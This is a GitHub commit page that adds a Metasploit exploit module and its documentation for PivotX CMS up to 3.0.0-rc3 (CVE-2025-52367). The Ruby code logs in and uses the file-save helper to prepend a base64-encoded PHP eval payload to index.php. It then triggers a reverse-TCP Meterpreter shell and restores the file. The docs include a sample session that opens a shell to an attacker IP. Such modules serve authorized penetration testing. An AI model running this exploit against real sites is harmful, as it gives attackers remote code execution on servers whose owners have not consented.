Skip to content

Commit ed5c133

Browse files
committed
Module init
1 parent b6a04c2 commit ed5c133

File tree

2 files changed

+216
-0
lines changed

2 files changed

+216
-0
lines changed
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
## Vulnerable Application
2+
3+
PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
4+
It's written in PHP and uses MySQL or flat files as a database.
5+
6+
Install steps:
7+
8+
1. Install Apache2, MySQL, PHP8.2+
9+
1. `git clone https://github.com/pivotx/PivotX.git`
10+
1. Move `PivotX` to webfolder
11+
12+
## Verification Steps
13+
14+
1. Install the application
15+
1. Start msfconsole
16+
1. Do: `use exploit/linux/http/pivotx_rce`
17+
1. Do: `set USERNAME [PivotX username]`
18+
1. Do: `set PASSWORD [PivotX password]`
19+
1. Do: `set RHOSTS [target IP]`
20+
1. Do: `set LHOST [attacker IP]`
21+
1. Do: `run`
22+
23+
## Options
24+
25+
26+
### USERNAME
27+
28+
PivotX username.
29+
30+
### PASSWORD
31+
32+
PivotX password.
33+
34+
## Scenarios
35+
36+
```
37+
msf exploit(linux/http/pivotx_rce) > run verbose=true
38+
[*] Started reverse TCP handler on 192.168.168.128:4444
39+
[*] Sending stage (40004 bytes) to 192.168.168.146
40+
[*] Meterpreter session 4 opened (192.168.168.128:4444 -> 192.168.168.146:40562) at 2025-07-18 14:20:03 +0200
41+
42+
meterpreter > sysinfo
43+
Computer : ubuntu
44+
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
45+
Meterpreter : php/linux
46+
47+
```
Lines changed: 169 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,169 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
8+
9+
include Exploit::Remote::Tcp
10+
include Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'PivotX Remote Code Execution',
17+
'Description' => %q{
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' => [
21+
'HayToN', # security research
22+
'msutovsky-r7' # module dev
23+
],
24+
'References' => [
25+
[ 'EDB', '52361' ],
26+
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
27+
[ 'CVE', '2025–52367']
28+
],
29+
'Targets' => [
30+
[
31+
'Linux',
32+
{
33+
'Platform' => 'php',
34+
'Arch' => ARCH_PHP
35+
}
36+
]
37+
],
38+
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
39+
'DisclosureDate' => '2025-07-10',
40+
'DefaultTarget' => 0,
41+
42+
'Notes' => {
43+
'Stability' => [CRASH_SAFE],
44+
'Reliability' => [REPEATABLE_SESSION],
45+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
46+
}
47+
)
48+
)
49+
register_options([
50+
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
51+
OptString.new('PASSWORD', [true, 'PivotX password', '']),
52+
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
53+
])
54+
end
55+
56+
def check
57+
res = send_request_cgi({
58+
'method' => 'GET',
59+
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php')
60+
})
61+
62+
return Exploit::CheckCode::Unknown, 'Unexpected response' unless res&.code == 200
63+
64+
return Exploit::CheckCode::Safe, 'Target is not PivotX' unless res.body.include?('PivotX Powered')
65+
66+
html_body = res.get_html_document
67+
68+
return Exploit::CheckCode::Unknow, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
69+
70+
version = Rex::Version.new(Regexp.last_match(1))
71+
72+
return Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
73+
74+
return Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable.")
75+
end
76+
77+
def login
78+
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
79+
data_post = "------WebKitFormBoundary#{boundary}\r\n"
80+
81+
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
82+
data_post << "\r\n"
83+
data_post << "------WebKitFormBoundary#{boundary}\r\n"
84+
85+
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
86+
data_post << "\r\n"
87+
data_post << "------WebKitFormBoundary#{boundary}\r\n"
88+
89+
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
90+
data_post << "#{datastore['USERNAME']}\r\n"
91+
data_post << "------WebKitFormBoundary#{boundary}\r\n"
92+
93+
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
94+
data_post << "#{datastore['PASSWORD']}\r\n"
95+
data_post << "------WebKitFormBoundary#{boundary}\r\n"
96+
97+
res = send_request_cgi({
98+
'method' => 'POST',
99+
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
100+
'vars_get' => { 'page' => 'login' },
101+
'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}",
102+
'data' => data_post,
103+
'keep_cookies' => true
104+
})
105+
106+
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
107+
108+
@csrf_token = Regexp.last_match(1)
109+
end
110+
111+
def modify_file
112+
res = send_request_cgi({
113+
'method' => 'GET',
114+
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
115+
'vars_get' => { 'page' => 'homeexplore' }
116+
})
117+
118+
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
119+
120+
@base_dir = Regexp.last_match(1)
121+
122+
res = send_request_cgi({
123+
'method' => 'GET',
124+
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
125+
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
126+
})
127+
128+
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200
129+
130+
@original_value = res.get_html_document.at('textarea')&.text
131+
132+
fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value
133+
134+
res = send_request_cgi({
135+
'method' => 'POST',
136+
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
137+
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
138+
})
139+
140+
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
141+
end
142+
143+
def trigger_payload
144+
send_request_cgi({
145+
'method' => 'POST',
146+
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
147+
})
148+
end
149+
150+
def restore
151+
res = send_request_cgi({
152+
'method' => 'POST',
153+
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
154+
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
155+
})
156+
vprint_status('Restoring original content')
157+
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
158+
end
159+
160+
def exploit
161+
vprint_status('Logging in PivotX')
162+
login
163+
vprint_status('Modifying file and injecting payload')
164+
modify_file
165+
vprint_status('Triggering payload')
166+
trigger_payload
167+
restore
168+
end
169+
end

0 commit comments

Comments
 (0)